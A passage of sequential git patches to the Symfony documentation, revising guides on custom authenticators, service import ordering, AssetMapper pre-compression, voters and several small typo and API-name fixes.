 **type**: ``string`` **default**: ``'none'``
 
-.. deprecated:: 7.3
+.. versionadded:: 7.3
 
     The ``expose_security_errors`` option was introduced in Symfony 7.3
 

From 8f5409ff0cb84bc433d385a5c8834452e262aecd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 08:02:24 +0200
Subject: [PATCH 7052/7107] Fix a code sample with two PHP classes

---
 security/custom_authenticator.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index fd7fa0b139e..4efe67548a5 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -312,6 +312,8 @@ and storage::
         }
     }
 
+::
+
     // src/Security/PasswordAuthenticator.php
     namespace App\Security;
 

From efffcc840639f6a52dce5ec5d1c981688be9f1db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 08:40:20 +0200
Subject: [PATCH 7053/7107] Tweaks

---
 security/custom_authenticator.rst | 52 +++++++++++++++++++++----------
 1 file changed, 36 insertions(+), 16 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 5f86f500f1b..365d4bd8f1d 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -1,19 +1,28 @@
 How to Write a Custom Authenticator
 ===================================
 
-Symfony comes with :ref:`many authenticators <security-authenticators>` and
-third party bundles also implement more complex cases like JWT and oAuth
-2.0. However, sometimes you need to implement a custom authentication
-mechanism that doesn't exist yet or you need to customize one. In such
-cases, you can use the ``make:security:custom`` command to create your own
-authenticator.
-
-Authenticators should implement the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
-You can also extend
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createToken()``
-method that fits most use-cases::
+Symfony comes with :ref:`many authenticators <security-authenticators>`, and
+third-party bundles also implement more complex cases like JWT and OAuth 2.0.
+However, sometimes you need to implement a custom authentication mechanism
+that doesn't exist yet, or you need to customize an existing one.
+
+To save time, you can install `Symfony Maker`_ and let Symfony generate a new
+authenticator by running the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console make:security:custom
+
+      What is the class name of the authenticator (e.g. CustomAuthenticator):
+      > ApiKeyAuthenticator
+
+      updated: config/packages/security.yaml
+      created: src/Security/ApiKeyAuthenticator.php
+
+      Success!
+
+Open the ``src/Security/ApiKeyAuthenticator.php`` file created by this command,
+and you'll find something like the following::
 
     // src/Security/ApiKeyAuthenticator.php
     namespace App\Security;
@@ -78,13 +87,23 @@ method that fits most use-cases::
         }
     }
 
+Authenticators must implement the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
+You can also extend
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
+which provides a default implementation of the ``createToken()`` method suitable
+for most use cases.
+
 .. tip::
 
-    If your custom authenticator is a login form, you can extend from the
+    If your custom authenticator is a login form, consider extending
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead to make your job easier.
+    to simplify your implementation.
 
-The authenticator can be enabled using the ``custom_authenticators`` setting:
+Custom authenticators must be explicitly enabled in the security configuration
+using the ``custom_authenticators`` setting of your firewall(s). If you used the
+``make:security:custom`` command, this configuration is already updated, but you
+should review it:
 
 .. configuration-block::
 
@@ -390,4 +409,5 @@ authenticator methods (e.g. ``createToken()``)::
         }
     }
 
+.. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`session storage flooding`: https://symfony.com/blog/cve-2016-4423-large-username-storage-in-session

From f20060c5c64ece054fc10fa08cb60a5f645a939e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sat, 3 Aug 2024 19:11:42 +1200
Subject: [PATCH 7054/7107] Update import.rst

It's better to use imports statements only in the services.yaml file.
The following explains that.
---
 service_container/import.rst | 26 ++++++++++++++++++++++----
 1 file changed, 22 insertions(+), 4 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index d5056032115..8db56c8a79e 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -138,10 +138,28 @@ as in the above example, the ``App\`` definition creates services for classes
 found in ``../src/*``. If your imported file defines services for those classes
 too, they will be overridden.
 
-A possible solution for this is to add the classes and/or directories of the
-imported files in the ``exclude`` option of the ``App\`` definition. Another
-solution is to not use imports and add the service definitions in the same file,
-but after the ``App\`` definition to override it.
+There are exactly three possible solutions in order services not to get overriden:
+1. Include the file with ``App\`` statement in the ``imports`` as the first element.
+In order to the fact that the ``imports`` statement not override existing services, it checks if the services exists,
+also take into account that the last element of the ``imports`` has the highest priority and will be executed first,
+having included ``App\`` as a first element of ``imports`` (with the lowest priority) it will be imported in the end.
+And being the last import element it will only add not existing services in the container.
+2. Include the path to the service in the ``exclude`` section.
+3. Write service definitions down the ``App\`` statement to override it
+
+It's recommended to use the 1st approach to define services in the container
+Using the first approach the whole ``services.yaml`` file will look the foolowing way:
+
+.. configuration-block::
+    .. code-block:: yaml
+    ###> imports are loaded first (imports not overrides existing services) ###
+    imports:
+        -   resource: 'services_yaml/resource_services.yaml'    # PRIORITY 1 (last) (contains App\ with resource statement)
+        -   resource: 'services_yaml/services/'                 # PRIORITY 2
+        -   resource: 'services_yaml/parameters/'               # PRIORITY 3 (first)
+
+    ###> then services.yaml (what below overrides imports) ###
+    ###>... it's better to use only imports
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 

From bf50adcd9e25e940e5ae625e96df758720e20fda Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 09:30:03 +0200
Subject: [PATCH 7055/7107] Reword

---
 service_container/import.rst | 315 ++++++++++++++++++++++++++++++++---
 1 file changed, 289 insertions(+), 26 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index 8db56c8a79e..93583b5881b 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -131,35 +131,298 @@ a relative or absolute path to the imported file:
                 ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
         };
 
-When loading a configuration file, Symfony loads first the imported files and
-then it processes the parameters and services defined in the file. If you use the
-:ref:`default services.yaml configuration <service-container-services-load-example>`
-as in the above example, the ``App\`` definition creates services for classes
-found in ``../src/*``. If your imported file defines services for those classes
-too, they will be overridden.
-
-There are exactly three possible solutions in order services not to get overriden:
-1. Include the file with ``App\`` statement in the ``imports`` as the first element.
-In order to the fact that the ``imports`` statement not override existing services, it checks if the services exists,
-also take into account that the last element of the ``imports`` has the highest priority and will be executed first,
-having included ``App\`` as a first element of ``imports`` (with the lowest priority) it will be imported in the end.
-And being the last import element it will only add not existing services in the container.
-2. Include the path to the service in the ``exclude`` section.
-3. Write service definitions down the ``App\`` statement to override it
-
-It's recommended to use the 1st approach to define services in the container
-Using the first approach the whole ``services.yaml`` file will look the foolowing way:
+When loading a configuration file, Symfony first processes all imported files in
+the order they are listed under the ``imports`` key. After all imports are processed,
+it then processes the parameters and services defined directly in the current file.
+In practice, this means that **later definitions override earlier ones**.
+
+For example, if you use the :ref:`default services.yaml configuration <service-container-services-load-example>`
+as in the above example, your main ``config/services.yaml`` file uses the ``App\``
+namespace to auto-discover services and loads them after all imported files.
+If an imported file (e.g. ``config/services/mailer.yaml``) defines a service that
+is also auto-discovered, the definition from ``services.yaml`` will take precedence.
+
+To make sure your specific service definitions are not overridden by auto-discovery,
+consider one of the following strategies:
+
+#. :ref:`Exclude services from auto-discovery <import-exclude-services-from-auto-discovery>`
+#. :ref:`Override services in the same file <import-override-services-in-the-same-file>`
+#. :ref:`Control import order <import-control-import-order>`
+
+.. _import-exclude-services-from-auto-discovery:
+
+**Exclude services from auto-discovery**
+
+Adjust the ``App\`` definition to use the ``exclude`` option. This prevents Symfony
+from auto-registering classes that are defined manually elsewhere:
+
+.. configuration-block::
+
+   .. code-block:: yaml
+
+       # config/services.yaml
+       imports:
+           - { resource: services/mailer.yaml }
+           # ... other imports
+
+       services:
+           _defaults:
+               autowire: true
+               autoconfigure: true
+
+           App\:
+               resource: '../src/*'
+               exclude:
+                   - '../src/Mailer/'
+                   - '../src/SpecificClass.php'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../src/*">
+                    <exclude>../src/Mailer/</exclude>
+                    <exclude>../src/SpecificClass.php</exclude>
+                </prototype>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container): void {
+            $container->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $container->import('services/');
+
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure()
+            ;
+
+            $services->load('App\\', '../src/*')
+                ->exclude([
+                    '../src/Mailer/',
+                    '../src/SpecificClass.php',
+                ]);
+        };
+
+.. _import-override-services-in-the-same-file:
+
+**Override services in the same file**
+
+You can define specific services after the ``App\`` auto-discovery block in the
+same file. These later definitions will override the auto-registered ones:
 
 .. configuration-block::
+
+   .. code-block:: yaml
+
+       # config/services.yaml
+       services:
+           _defaults:
+               autowire: true
+               autoconfigure: true
+
+           App\:
+               resource: '../src/*'
+
+           App\Mailer\MyMailer:
+               arguments: ['%env(MAILER_DSN)%']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../src/*"/>
+
+                <service id="App\Mailer\MyMailer">
+                    <argument>%env(MAILER_DSN)%</argument>
+                </service>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container): void {
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure();
+
+            $services->load('App\\', '../src/*');
+
+            $services->set(App\Mailer\MyMailer::class)
+                ->arg(0, '%env(MAILER_DSN)%');
+        };
+
+.. _import-control-import-order:
+
+**Control import order**
+
+Move the ``App\`` auto-discovery config to a separate file and import it
+before more specific service files. This way, specific service definitions
+can override the auto-discovered ones.
+
+.. configuration-block::
+
     .. code-block:: yaml
-    ###> imports are loaded first (imports not overrides existing services) ###
-    imports:
-        -   resource: 'services_yaml/resource_services.yaml'    # PRIORITY 1 (last) (contains App\ with resource statement)
-        -   resource: 'services_yaml/services/'                 # PRIORITY 2
-        -   resource: 'services_yaml/parameters/'               # PRIORITY 3 (first)
-
-    ###> then services.yaml (what below overrides imports) ###
-    ###>... it's better to use only imports
+
+        # config/services/autodiscovery.yaml
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
+
+            App\:
+                resource: '../../src/*'
+                exclude:
+                    - '../../src/Mailer/'
+
+        # config/services/mailer.yaml
+        services:
+            App\Mailer\SpecificMailer:
+                # ... custom configuration
+
+        # config/services.yaml
+        imports:
+            - { resource: services/autodiscovery.yaml }
+            - { resource: services/mailer.yaml }
+            - { resource: services/ }
+
+        services:
+            # definitions here override anything from the imports above
+            # consider keeping most definitions inside imported files
+
+    .. code-block:: xml
+
+        <!-- config/services/autodiscovery.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../../src/*">
+                    <exclude>../../src/Mailer/</exclude>
+                </prototype>
+            </services>
+        </container>
+
+        <!-- config/services/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Mailer\SpecificMailer">
+                    <!-- ... custom configuration -->
+                </service>
+            </services>
+        </container>
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/autodiscovery.xml"/>
+                <import resource="services/mailer.xml"/>
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <!-- definitions here override anything from the imports above -->
+                <!-- consider keeping most definitions inside imported files -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services/autodiscovery.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure();
+
+            $services->load('App\\', '../../src/*')
+                ->exclude([
+                    '../../src/Mailer/',
+                ]);
+        };
+
+        // config/services/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            $services->set(App\Mailer\SpecificMailer::class);
+            // Add any custom configuration here if needed
+        };
+
+        // config/services.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $container->import('services/autodiscovery.php');
+            $container->import('services/mailer.php');
+            $container->import('services/');
+
+            $services = $container->services();
+
+            // definitions here override anything from the imports above
+            // consider keeping most definitions inside imported files
+        };
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 

From b8d4020bffb713f59837cfe771c0354e82397bc0 Mon Sep 17 00:00:00 2001
From: "Julien \"Nayte\" Robic" <36332481+Nayte91@users.noreply.github.com>
Date: Fri, 30 May 2025 10:50:14 +0200
Subject: [PATCH 7056/7107] fix(typo): form --> from

---
 object_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/object_mapper.rst b/object_mapper.rst
index 0eed176c67d..625466ffefc 100644
--- a/object_mapper.rst
+++ b/object_mapper.rst
@@ -485,7 +485,7 @@ target class's properties.
 Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
 attribute, the ``source`` takes precedence.
 
-Consider the following class that stores the data obtained form an external API
+Consider the following class that stores the data obtained from an external API
 that uses snake_case property names::
 
     // src/Api/Payload.php

From 479e0ad197a1ca23292ca6008ebb6807f2c97e2d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 30 May 2025 17:07:45 +0200
Subject: [PATCH 7057/7107] [AssetMapper]: "server" -> "machine"

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#pre-compressing-assets

Doesn't have to be a server, can be any (dev) machine, right?
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d9c15a136b0..247f4f60763 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -740,7 +740,7 @@ Symfony will add a ``Link`` header in the response to preload the CSS files.
 Pre-Compressing Assets
 ----------------------
 
-Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+Although most web servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
 provide asset compression features, AssetMapper also allows you to compress all
 your assets before serving them.
 
@@ -750,7 +750,7 @@ server, which then returns them to the client without wasting CPU resources on
 compression.
 
 AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
-Before using any of them, the server that pre-compresses assets must have
+Before using any of them, the machine that pre-compresses assets must have
 installed the following PHP extensions or CLI commands:
 
 * Brotli: ``brotli`` CLI command; `brotli PHP extension`_;

From 3badfa66e9e014ad1ba4464fdffa0417a440c042 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 30 May 2025 18:09:03 +0200
Subject: [PATCH 7058/7107] [AssetMapper]: Adding possible precompressor values

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#pre-compressing-assets

Info is taken from: https://symfony.com/blog/new-in-symfony-7-3-assets-pre-compression
---
 frontend/asset_mapper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d9c15a136b0..e3525c9b18c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -768,6 +768,7 @@ and which file extensions should be compressed:
             # ...
 
             precompress:
+                # possible values: 'brotli', 'zstandard', 'gzip'
                 format: 'zstandard'
                 # if you don't define the following option, AssetMapper will compress all
                 # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)

From f237d96d2c27c51a0a5c0f401dc6bd9d31b48158 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sun, 1 Jun 2025 13:45:32 +0200
Subject: [PATCH 7059/7107] [Bundle] Best Practice: Add link for create
 ux-bundle

---
 bundles/best_practices.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a588e8bb2fb..99d254b7929 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -559,6 +559,7 @@ Learn more
 
 * :doc:`/bundles/extension`
 * :doc:`/bundles/configuration`
+* :doc:`/frontend/create_ux_bundle`
 
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
 .. _`Symfony Flex recipe`: https://github.com/symfony/recipes

From a6aa43f26cd4cc87cdcdd9bc21d67a7922df9bdc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 15:47:39 +0200
Subject: [PATCH 7060/7107] [Security] Remove is_anonymous expesssion language
 function

---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 42c464840ab..dd8b5d2e4ef 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -818,7 +818,7 @@ transition. The value of this option is any valid expression created with the
                             from: draft
                             to:   reviewed
                         publish:
-                            # or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid"
+                            # or "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid"
                             guard: "is_authenticated"
                             from: reviewed
                             to:   published
@@ -853,7 +853,7 @@ transition. The value of this option is any valid expression created with the
                     </framework:transition>
 
                     <framework:transition name="publish">
-                        <!-- or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted" -->
+                        <!-- or "is_remember_me", "is_fully_authenticated", "is_granted" -->
                         <framework:guard>is_authenticated</framework:guard>
                         <framework:from>reviewed</framework:from>
                         <framework:to>published</framework:to>
@@ -889,7 +889,7 @@ transition. The value of this option is any valid expression created with the
 
             $blogPublishing->transition()
                 ->name('publish')
-                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    // or "is_remember_me", "is_fully_authenticated", "is_granted"
                     ->guard('is_authenticated')
                     ->from(['reviewed'])
                     ->to(['published']);

From a496243c244019efef24cc223e31c829184053c2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 16:13:16 +0200
Subject: [PATCH 7061/7107] [DomCrawler] Replace parents() by ancestors()

---
 testing/dom_crawler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 139d94efdd9..9d527304f96 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -10,11 +10,11 @@ Traversing
 
 Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
 document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
+selects the last one on the page, and then selects its immediate ancestor element::
 
     $newCrawler = $crawler->filter('input[type=submit]')
         ->last()
-        ->parents()
+        ->ancestors()
         ->first()
     ;
 
@@ -36,8 +36,8 @@ Many other methods are also available:
     All following siblings.
 ``previousAll()``
     All preceding siblings.
-``parents()``
-    Returns the parent nodes.
+``ancestors()``
+    Returns the ancestor nodes.
 ``children()``
     Returns children nodes.
 ``reduce($lambda)``

From 8a2dd32ed6650a01026d1d541962433db5dbed3a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 16:23:33 +0200
Subject: [PATCH 7062/7107] [FrameworkBundle] Deprecate session.storage service

---
 session.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index 9ddf3eb028d..1f8eb70dfc4 100644
--- a/session.rst
+++ b/session.rst
@@ -1843,8 +1843,8 @@ the example below:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
-                    handler-id="session.storage.native_file"
+                <framework:session storage-id="session.storage.factory.php_bridge"
+                    handler-id="session.handler.native_file"
                 />
             </framework:config>
         </container>
@@ -1857,7 +1857,7 @@ the example below:
         return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId('session.storage.native_file')
+                ->handlerId('session.handler.native_file')
             ;
         };
 

From 8b48baf73e0e99a6b30c83445fd2f915f36f7228 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Jun 2025 08:38:48 +0200
Subject: [PATCH 7063/7107] Fix build

---
 service_container/import.rst | 48 ++++++++++++++++++------------------
 1 file changed, 24 insertions(+), 24 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index 93583b5881b..91021762eae 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -158,23 +158,23 @@ from auto-registering classes that are defined manually elsewhere:
 
 .. configuration-block::
 
-   .. code-block:: yaml
+    .. code-block:: yaml
 
-       # config/services.yaml
-       imports:
-           - { resource: services/mailer.yaml }
-           # ... other imports
+        # config/services.yaml
+        imports:
+            - { resource: services/mailer.yaml }
+            # ... other imports
 
-       services:
-           _defaults:
-               autowire: true
-               autoconfigure: true
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
 
-           App\:
-               resource: '../src/*'
-               exclude:
-                   - '../src/Mailer/'
-                   - '../src/SpecificClass.php'
+            App\:
+                resource: '../src/*'
+                exclude:
+                    - '../src/Mailer/'
+                    - '../src/SpecificClass.php'
 
     .. code-block:: xml
 
@@ -235,19 +235,19 @@ same file. These later definitions will override the auto-registered ones:
 
 .. configuration-block::
 
-   .. code-block:: yaml
+    .. code-block:: yaml
 
-       # config/services.yaml
-       services:
-           _defaults:
-               autowire: true
-               autoconfigure: true
+        # config/services.yaml
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
 
-           App\:
-               resource: '../src/*'
+            App\:
+                resource: '../src/*'
 
-           App\Mailer\MyMailer:
-               arguments: ['%env(MAILER_DSN)%']
+            App\Mailer\MyMailer:
+                arguments: ['%env(MAILER_DSN)%']
 
     .. code-block:: xml
 

From dfb08eb2d20bd5ab7207db000660a60d36428c44 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Jun 2025 10:44:52 +0200
Subject: [PATCH 7064/7107] [AssetMapper] Added the missing versionadded
 directive

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 247f4f60763..7e566204193 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -740,6 +740,10 @@ Symfony will add a ``Link`` header in the response to preload the CSS files.
 Pre-Compressing Assets
 ----------------------
 
+.. versionadded:: 7.3
+
+    Support for pre-compressing assets was introduced in Symfony 7.3.
+
 Although most web servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
 provide asset compression features, AssetMapper also allows you to compress all
 your assets before serving them.

From af9d59a0cd2e251f6a5b822dbb6dacfd0878963d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Jun 2025 11:36:52 +0200
Subject: [PATCH 7065/7107] Use DOCtor-RST 1.69.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4c3947e4d29..2f0d5852c7f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -8,6 +8,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_bash_prompt_before_composer_command: ~
+    ensure_class_constant: ~
     ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fa36efbcbcf..6b00e771e3b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.68.0
+                uses: docker://oskarstark/doctor-rst:1.69.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 70f206764bba5d5cdac2eb61dd0cd47dfff75f2e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jun 2025 12:13:42 +0200
Subject: [PATCH 7066/7107] Minor tweaks

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d88d4ac258e..454e13a1d29 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -774,6 +774,10 @@ and which file extensions should be compressed:
             precompress:
                 # possible values: 'brotli', 'zstandard', 'gzip'
                 format: 'zstandard'
+
+                # you can also pass multiple values to generate files in several formats
+                # format: ['brotli', 'zstandard']
+
                 # if you don't define the following option, AssetMapper will compress all
                 # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
                 extensions: ['css', 'js', 'json', 'svg', 'xml']

From 3fd1265ccc6b69cf6be560be63058688e6e756bf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jun 2025 17:57:54 +0200
Subject: [PATCH 7067/7107] [Security] Update the main voters article

---
 security/voters.rst | 123 ++++++++++++++++++++++++++++++--------------
 1 file changed, 83 insertions(+), 40 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 21e2c8de33b..e6d1084603c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -50,14 +50,6 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
-.. tip::
-
-    Checking each voter several times can be time consuming for applications
-    that perform a lot of permission checks. To improve performance in those cases,
-    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
-    This allows the access decision manager to remember the attribute and type
-    of subject supported by the voter, to only call the needed voters each time.
-
 Setup: Checking for Access in a Controller
 ------------------------------------------
 
@@ -296,6 +288,89 @@ If you're using the :ref:`default services.yaml configuration <service-container
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).
 
+Improving Voter Performance
+---------------------------
+
+If your application defines many voters and checks permissions on many objects
+during a single request, this can impact performance. Most of the time, voters
+only care about specific permissions (attributes), such as ``EDIT_BLOG_POST``,
+or specific object types, such as ``User`` or ``Invoice``. That's why Symfony
+can cache the voter resolution (i.e. the decision to apply or skip a voter for
+a given attribute or object).
+
+To enable this optimization, make your voter implement
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+This is already the case when extending the abstract ``Voter`` class shown above.
+Then, override one or both of the following methods::
+
+    use App\Entity\Post;
